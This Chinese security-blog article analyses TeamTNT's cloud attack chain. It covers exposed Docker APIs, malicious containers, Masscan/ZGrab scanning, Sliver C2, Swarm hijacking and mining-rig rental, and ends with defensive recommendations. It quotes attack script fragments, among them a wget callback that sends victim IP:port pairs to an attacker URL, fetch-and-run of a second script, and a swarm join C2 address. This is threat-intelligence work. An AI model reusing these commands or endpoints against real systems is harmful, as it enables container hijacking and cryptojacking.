part1
点击上方蓝字关注我们
往期推荐
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
TeamTNT组织介绍
TeamTNT是一个臭名昭著的网络犯罪组织,以在云环境中进行恶意活动而闻名。该组织主要瞄准未安全配置的云服务和容器化环境(如 Docker 和 Kubernetes),利用这些漏洞来挖矿、窃取凭据以及传播恶意软件。
TeamTNT组织主要具备以下四个特点:
1.加密货币挖矿:他们的主要动机是利用受害者的计算资源进行加密货币(例如 Monero)的挖矿,以获取经济利益。
2.凭据窃取:该组织会利用已入侵的系统窃取 AWS 等云服务的凭据,然后扩展攻击面以感染更多资源。
3.恶意软件和工具的使用:TeamTNT 常用一些自定义脚本和开源工具,如 “libprocesshider”,用于隐藏恶意进程。他们还会利用开源工具来扫描和发现网络中的易受攻击设备。
4.网络蠕虫行为:TeamTNT 的恶意软件通常具有蠕虫特性,会自动传播到网络中的其他设备,扩大感染范围。
了解了TeamTNT组织的业务范围,下面看看该组织的攻击思路和流程。
TeamTNT的主要攻击流程
首先看一下TeamTNT组织的整体攻击流程:
根据图中的攻击流程, 整理出该组织的攻击手法如下:
(1).利用未正确配置的Docker API: TeamTNT首先找到一个未加固、未正确配置的Docker API。这种配置漏洞允许未经授权的访问,使攻击者能够远程执行命令并部署容器。
(2).部署恶意容器: 一旦获得对 Docker Daemon 的访问权限,攻击者会部署两个恶意容器。这些容器使用公开的 Docker 镜像,如 Alpine:latest
,但被注入了恶意脚本。这些容器会从远程地址下载恶意脚本(在这里是 TDGG.sh
),并将其部署在受害者服务器上。
(3).增强控制和持久化:恶意脚本 TDGG.sh
被用来加强对受害服务器的控制。这一步骤可能涉及安装后门、提升权限和实施持久化,以确保攻击者在系统上的访问不被轻易移除。持久化后,攻击者可以在未来的时间继续访问和控制该服务器。
(4).扫描互联网寻找更多受害者:使用 Masscan 工具,TeamTNT 的恶意脚本会扫描互联网上的其他目标,尝试寻找开放的 Docker API 和其他常见端口(例如: 2375、2376、2377、4243 和 4244)。Masscan 是一个高速端口扫描器,适合大规模网络扫描。通过这种方式,TeamTNT 可以快速定位新目标并扩展感染范围。
(5).传播云蠕虫(Cloud Worm Infestation):一旦找到新的受害者,蠕虫会感染这些目标,将恶意软件传播到更多的云服务器和 Docker 容器中,形成一种自我复制的恶意软件传播模式。被感染的服务器上会运行挖矿软件,将算力贡献给 TeamTNT 的加密货币矿池,从而帮助他们挖掘加密货币。
(6).添加至Docker Swarm群集:攻击者将受害者的 Docker Daemon 加入到 TeamTNT 控制的 Docker Swarm 群集(在图中地址为 164.68.106.96:2377
)。通过将受害者节点加入到自己的 Swarm 群集,攻击者能够方便地管理和控制多个受感染节点,增强了对感染网络的掌控力。
(7).将受害服务器作为矿机出租:最后,TeamTNT 会利用受害服务器的资源,将它们放到矿机租赁平台上(如 "Mining Rig Rentals"),允许他人租用这些矿机资源,从而进一步盈利。
从以上7个攻击步骤结合该组织过去7年的攻击行为, 可以始终看到四个关键要素:
-
外部和本地横向移动:使用 Masscan 和 ZGrab 等工具进行积极的检测和感染,同时在本地进行搜索,以便在目标网络内的其他服务器中传播感染。
-
资源劫持:该活动专注于部署加密货币矿工,并逐渐发展为将受感染的基础设施出售给他人,从而避免自己运行加密货币挖矿操作的开销。
-
指挥与控制 (C2):在该活动中,TeamTNT 使用了 Sliver 恶意软件,可能替代了之前使用的 Tsunami 恶意软件。在早期的活动中,研究人员通过渗透 TeamTNT 的 IRC 服务器获取了他们的行动情报,但 Sliver 的使用使得这种渗透变得更加困难。尽管如此,新基础设施中也包含了 Tsunami 恶意软件的功能。
-
云工具:TeamTNT 一直在尝试使用云原生开源软件(OSS)和进攻性安全工具(OSTs)。利用 Docker Hub 存储和传播恶意软件,并使用 Sliver 进行控制和利用。
TeamTNT的工具集
(1).Masscan
Masscan 是一款开源高速的网络端口扫描工具,通常用于在互联网范围内发现开放端口。其核心功能类似于 Nmap,但速度更快。Masscan 可以每秒扫描数百万个 IP 地址,使其成为大规模网络扫描的首选工具。
开源地址: https://github.com/robertdavidgraham/masscan
常用命令示例:
masscan -p80,443 192.168.0.0/24 --rate=1000
这条命令表示以 1000 个数据包每秒的速率扫描 192.168.0.0/24 网络段的 80 和 443 端口。
(2).ZGrab
ZGrab 是一款用于应用层探测的开源抓取工具,通常与 Masscan、zmap等扫描器配合使用。Masscan可以快速扫描开放端口,而ZGrab则深入获取应用层的详细信息。
开源地址: https://github.com/zmap/zgrab2
(3).Sliver
Sliver 是一个由 Bishop Fox 团队开发的开源跨平台 C2(Command and Control)框架,旨在为红队和渗透测试团队提供灵活的远程控制和后渗透工具。它以 Go 语言编写,支持多种平台,包括 Windows、Linux 和 macOS,能够满足红队在不同操作系统上的攻击需求。Sliver 被视为 Cobalt Strike 等商业化工具的开源替代品,但具有一些独特的功能和灵活性,特别适合云原生和现代 IT 环境下的攻击模拟。
开源地址:https://github.com/BishopFox/sliver
(4).“加特林枪”攻击脚本
在TeamTNT的攻击链条中, 有一个名为TDGGinit.sh的初始化脚本, 该脚本主要实现了利用Masscan和ZGrab进行大规模扫描,并结合Docker和一些恶意脚本实现自动化感染扩展, 脚本内容如图:
以下是对脚本内容的拆解:
Masscan 扫描:
-
脚本使用了 Masscan 进行端口扫描。Masscan 是一款高性能的端口扫描工具,类似于 Nmap,但速度更快,适合大规模网络扫描。
-
masscan
参数包括$RANGE
(扫描的 IP 范围)、$PORT
(指定的端口)和$RATE
(扫描速率)。这些参数由函数输入控制。
-
脚本通过 Masscan 输出的结果(以
awk '{print $6}'
提取 IP 地址)逐个处理扫描到的目标 IP 地址。
ZGrab 探测:
-
zgrab
用于进一步探测扫描到的主机,以确认是否运行 Docker 服务。ZGrab 是一种应用层的指纹识别工具,可以在特定端口上获取应用程序的详细信息。
-
zgrab
通过请求 Docker 的 API 端点http://%s/version
来检查 Docker 服务是否开启。grep -E 'ApiVersion|client version 1.16'
检测特定版本号,以识别运行 Docker 的主机。
-
jq -r '.Ip'
从 JSON 格式的数据中提取 IP 地址。
恶意文件下载:
-
wget -q "https://solscan.com/incoming/docker.php?docker=$IPADDR:$PORT" -O /dev/null
似乎在通知攻击者的服务器,以确认哪些 IP 已被扫描。
-
此外,脚本还下载了恶意脚本
TDGUnit.sh
,并通过bash
执行。这个脚本很可能包含进一步的恶意代码,用于在受害者机器上安装恶意程序或挖矿工具。
Docker 容器的恶意使用:
-
脚本使用
docker run
命令在目标主机上启动恶意容器。在某些情况下,这可能是为了部署挖矿工具(例如 Monero 挖矿程序)。
-
--privileged
选项授予容器高级权限,允许恶意容器对主机系统进行深入操作,增加了感染的持久性和隐蔽性。 -
Docker 的 Swarm 功能也被滥用,脚本尝试通过
swarm join
将受感染的主机加入恶意 Docker Swarm 集群,这种集群管理工具原本用于管理和协调容器,但在此处被用于控制和感染多个目标主机。
超时与信号控制:
-
脚本使用
timeout
命令来限制命令执行的时间,确保扫描和感染流程能在指定时间内完成。 -
SIGKILL
和SIGILL
信号用于强制终止 Docker 容器的执行,防止被安全措施检测到。
WireGuard
为了绕过检测, TeamTNT使用了WireGuard创建合法通道与C2进行通信。
WireGuard 是一种现代化的开源 VPN(虚拟专用网络)协议和工具,用于在不同网络之间创建加密的点对点连接。它具有简单、高效、安全、易于配置的特点,因而在性能和安全性上相较于其他传统 VPN 协议(如 OpenVPN 和 IPSec)有显著优势。
开源地址: https://github.com/angristan/wireguard-install
总结
从TeamTNT组织近10年的攻击手法来分析, 该组织目标非常明确, 始终围绕云原生环境展开深入的研究、攻击和进化, 并在该领域积累了丰富的实战经验, 从攻击准备到矿机出租, 形成了完整的黑色产业链条。从防御角度, 云原生安全防护是一个多层次的系统工程,涵盖身份验证、网络隔离、容器安全、集群配置、日志监控等多个方面。通过引入零信任架构、配置管理、持续监控、加密和应急响应等措施,可以有效提升云原生环境的整体安全性。同时,采用 DevSecOps 将安全性集成到开发和运维流程中,确保安全性贯穿应用的整个生命周期。
往期推荐
点个在看你最好看
原文始发于微信公众号(二进制空间安全):黑客组织TeamTNT的加特林枪攻击手法及5套开源工具集
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论